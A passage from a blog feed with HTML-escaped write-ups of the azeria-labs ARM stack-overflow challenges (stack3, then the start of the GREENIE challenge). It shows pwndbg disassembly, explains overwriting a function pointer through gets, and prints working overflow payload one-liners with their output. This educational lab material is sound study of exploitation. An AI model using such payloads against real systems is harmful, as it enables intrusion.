&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104a4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x54]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104a8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104ac&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104b0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x48&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104b4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104b8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#gets@plt &amp;lt;gets@plt&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104bc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104c0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104c4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;beq&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;#main+72 &amp;lt;main+72&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104c8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x18]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104cc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104d0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#printf@plt &amp;lt;printf@plt&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104d4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104d8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;blx&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So instead of a cookie like in the &lt;a href="/articles/2021/01/14/Smashing-ARM-Stack-for-Fun-Part-I.html"&gt;stack0&lt;/a&gt; or &lt;a href="/articles/2021/01/14/Smashing-ARM-Stack-for-Fun-Part-II.html"&gt;stack1&lt;/a&gt; we have the address of a function.&lt;/p&gt;
&lt;p&gt;&lt;label for='CmBibHggcjNgIGlzIGFuIHVuY29uZGl0aW9uYWwganVtcCB0byBhbiBhYnNvbHV0ZSBhZGRyZXNzCihbZG9jc10oaHR0cHM6Ly9kZXZlbG9wZXIuYXJtLmNvbS9kb2N1bWVudGF0aW9uL2R1aTAwNjgvYi9hcm0taW5zdHJ1Y3Rpb24tcmVmZXJlbmNlL2FybS1icmFuY2gtaW5zdHJ1Y3Rpb25zL2JseD9sYW5nPWVuKSkuCjxiciAvPgpUaGF0J3Mgd2h5IGl0IHdvcmtzLgogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBibHggcjNgIGlzIGFuIHVuY29uZGl0aW9uYWwganVtcCB0byBhbiBhYnNvbHV0ZSBhZGRyZXNzCihbZG9jc10oaHR0cHM6Ly9kZXZlbG9wZXIuYXJtLmNvbS9kb2N1bWVudGF0aW9uL2R1aTAwNjgvYi9hcm0taW5zdHJ1Y3Rpb24tcmVmZXJlbmNlL2FybS1icmFuY2gtaW5zdHJ1Y3Rpb25zL2JseD9sYW5nPWVuKSkuCjxiciAvPgpUaGF0J3Mgd2h5IGl0IHdvcmtzLgogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;blx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is an unconditional jump to an absolute address (&lt;a href="https://developer.arm.com/documentation/dui0068/b/arm-instruction-reference/arm-branch-instructions/blx?lang=en"&gt;docs&lt;/a&gt;). &lt;br /&gt; That’s why it works.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The address is initialized to zero but due to a stack overflow we can write an arbitrary address, in particular, the address of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: 0x0001047c&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-ne&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7c\x04\x01\x00&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;./stack3
calling&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pointer,&lt;span class="w"&gt; &lt;/span&gt;jumping&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;0x0001047c
code&lt;span class="w"&gt; &lt;/span&gt;flow&lt;span class="w"&gt; &lt;/span&gt;successfully&lt;span class="w"&gt; &lt;/span&gt;changed
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We could also jump to the middle of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, to 0x00010484, and we will have the same result. The only problem is that the program will execute the &lt;em&gt;epilogue&lt;/em&gt; of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;strong&gt;without&lt;/strong&gt; having executed its &lt;em&gt;prologue&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkRvZXMgdGhpcyByaW5nIHNvbWUgYmVsbHM/IFRoaXMgaXMgdGhlIGJhc2Ugb2YgKnJldHVybiBvcmllbnRlZApwcm9ncmFtbWluZyogb3IgUk9QLgogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkRvZXMgdGhpcyByaW5nIHNvbWUgYmVsbHM/IFRoaXMgaXMgdGhlIGJhc2Ugb2YgKnJldHVybiBvcmllbnRlZApwcm9ncmFtbWluZyogb3IgUk9QLgogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Does this ring some bells? This is the base of &lt;em&gt;return oriented programming&lt;/em&gt; or ROP.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The result? &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will restore &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to the next element in the stack which most likely will not be a valid address. Happy segfault!&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-ne&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\x04\x01\x00&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;./stack3
calling&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pointer,&lt;span class="w"&gt; &lt;/span&gt;jumping&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;0x00010484
code&lt;span class="w"&gt; &lt;/span&gt;flow&lt;span class="w"&gt; &lt;/span&gt;successfully&lt;span class="w"&gt; &lt;/span&gt;changed
Segmentation&lt;span class="w"&gt; &lt;/span&gt;fault
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/01/19/Smashing-ARM-Stack-for-Fun-Part-IV.html" rel="alternate" type="text/html" title="Smashing ARM Stack for Fun - Part IV"/>
    <category term="reversing" label="reversing"/>
    <category term="exploiting" label="exploiting"/>
    <category term="ARM" label="ARM"/>
    <category term="iasm" label="iasm"/>
    <category term="azeria-labs" label="azeria-labs"/>
    <category term="objdump" label="objdump"/>
    <published>2021-01-19T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/01/18/Smashing-ARM-Stack-for-Fun-Part-III.html</id>
    <title>Smashing ARM Stack for Fun - Part III</title>
    <updated>2021-01-18T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Another fast moving post about exploiting the &lt;a href="https://github.com/azeria-labs/ARM-challenges"&gt;third Arm challenge&lt;/a&gt;&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="setup"&gt;Setup&lt;/h2&gt;
&lt;p&gt;Stack allocation, not changes respect &lt;code class="none"&gt;stack0&lt;/code&gt; or &lt;code class="none"&gt;stack1&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104e4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104e8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104ec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x50&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104f0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x50]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104f4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x54]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Read of an environment variable named &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s"&gt;&amp;quot;GREENIE&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104f8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x6c]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104fc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#getenv@plt &amp;lt;getenv@plt&amp;gt;&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;wx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1056c&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1056c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;136&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x000105f4&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;sb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x000105f4&lt;/span&gt;
